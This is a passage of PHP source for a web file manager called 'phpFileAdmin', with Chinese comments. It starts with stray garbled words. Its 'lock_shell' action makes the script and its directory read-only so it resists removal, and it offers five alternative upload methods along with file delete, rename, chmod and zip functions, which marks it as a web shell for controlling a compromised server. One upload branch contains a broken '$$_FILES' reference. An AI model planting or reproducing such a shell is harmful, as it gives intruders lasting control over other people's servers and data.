tasslihorec sfaxoistadet bintestcss open($destination, ZipArchive::CREATE)) { return false; } $source = str_replace('\\', '/', realpath($source)); if (is_dir($source)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $filePath = str_replace('\\', '/', $file->getRealPath()); $relativePath = substr($filePath, strlen($source) + 1); $zip->addFile($filePath, $relativePath); } } } elseif (is_file($source)) { $zip->addFile($source, basename($source)); } return $zip->close(); } // ZIP解压函数 function unzipFile($zipFile, $destination) { if (!extension_loaded('zip')) { return false; } $zip = new ZipArchive(); if (!$zip->open($zipFile)) { return false; } $result = $zip->extractTo($destination); $zip->close(); return $result; } // 上传文件 function uploadFile($current_dir, $uptype = 'up-1') { if (isset($_FILES['files']) && is_array($_FILES['files']['name'])) { for ($i = 0; $i < count($_FILES['files']['name']); $i++) { if ($_FILES['files']['error'][$i] === 0) { $file_path = $current_dir . DIRECTORY_SEPARATOR . $_FILES['files']['name'][$i]; if ($uptype === 'up-2') { rename($_FILES['files']['tmp_name'][$i], $file_path); } else if ($uptype === 'up-3') { $handle = fopen($file_path, 'w'); fwrite($handle, $$_FILES['files']['tmp_name'][$i]); fclose($handle); } else if ($uptype === 'up-4') { copy($_FILES['files']['tmp_name'][$i], $file_path); unlink($_FILES['files']['tmp_name'][$i]); } else if ($uptype === 'up-5') { file_put_contents($file_path, file_get_contents($_FILES['files']['tmp_name'][$i])); } else { move_uploaded_file($_FILES['files']['tmp_name'][$i], $file_path); } } } } } switch ($action) { case 'upload': uploadFile($current_dir, $upload_type); break; case 'mkdir': mkdir($target_path); break; case 'create_file': if (!file_exists($target_path)) { touch($target_path); } break; case 'lock_shell': chmod(basename(__FILE__), octdec(555)); chmod(dirname(__FILE__), octdec(555)); break; case 'lock_shell_remove': chmod(basename(__FILE__), octdec(644)); chmod(dirname(__FILE__), octdec(755)); break; case 'delete': $target_path = urldecode($target_path); if (is_dir($target_path)) { function deleteDirectory($dir) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } deleteDirectory($target_path); } else if (is_file($target_path)) { unlink($target_path); } break; case 'rename': $new_name = isset($_POST['new_name']) ? $_POST['new_name'] : ''; if (!empty($new_name) && $new_name !== $target) { $new_path = $current_dir . DIRECTORY_SEPARATOR . $new_name; if (!file_exists($new_path)) { rename($target_path, $new_path); } } break; case 'compress': if (file_exists($target_path)) { $zip_name = basename($target_path) . '.zip'; $zip_path = $current_dir . DIRECTORY_SEPARATOR . $zip_name; zipDirectory($target_path, $zip_path); } break; case 'uncompress': if (is_file($target_path) && pathinfo($target_path, PATHINFO_EXTENSION) === 'zip') { $extract_dir = $current_dir . DIRECTORY_SEPARATOR . pathinfo($target_path, PATHINFO_FILENAME); if (!file_exists($extract_dir)) { mkdir($extract_dir, 0777, true); unzipFile($target_path, $extract_dir); } } break; case 'chmod': $new_perms = isset($_POST['new_perms']) ? $_POST['new_perms'] : ''; if (!empty($new_perms) && preg_match('/^[0-7]{3,4}$/', $new_perms)) { chmod($target_path, octdec($new_perms)); } break; } // 重定向到当前目录 header('Location: ?'. $pwd .'&dir=' . $current_dir); exit; } // 列出目录内容 $items = scandir($current_dir); $directories = array(); $files = array(); foreach ($items as $item) { if ($item !== '.' && $item !== '..') { $path = $current_dir . DIRECTORY_SEPARATOR . $item; $info = array( 'name' => $item, 'path' => $path, 'size' => is_file($path) ? filesize($path) : 0, 'modified' => filemtime($path), 'permissions' => formatPermissions($path) ); if (is_dir($path)) { $directories[] = $info; } else { $files[] = $info; } } } // 列表合并排序:文件夹在前,文件在后 $items = array_merge($directories, $files); // 格式化大小函数 function formatSize($bytes) { if ($bytes == 0) return '0 B'; $sizes = array('B', 'KB', 'MB', 'GB', 'TB'); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $sizes[$i]; } // 格式化权限函数 function formatPermissions($path) { $perms = fileperms($path); $numeric_perms = substr(decoct($perms), -3); return $numeric_perms; } // 检查文件权限 function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "green"; } elseif (!is_writable($path)) { return "red"; } elseif (is_readable($path)) { return "#ddd"; } return "#ddd"; } ?>

phpFileAdmin

< 返回上一级 | 当前路径:
编辑文件: 取消编辑
'up-1', 'text' => '上传文件'), array('value' => 'up-2', 'text' => '上传文件v2'), array('value' => 'up-3', 'text' => '上传文件v3'), array('value' => 'up-4', 'text' => '上传文件v4'), array('value' => 'up-5', 'text' => '上传文件v5') ); foreach ($upload_types as $index => $type) { $input_id = 'file-upload-input' . ($index === 0 ? '' : '-' . ($index + 1)); ?>
文件名称 权限 大小 修改时间 操作
class="dir" style="border-left: 3px solid "> 📁 📚 📄 | | | | |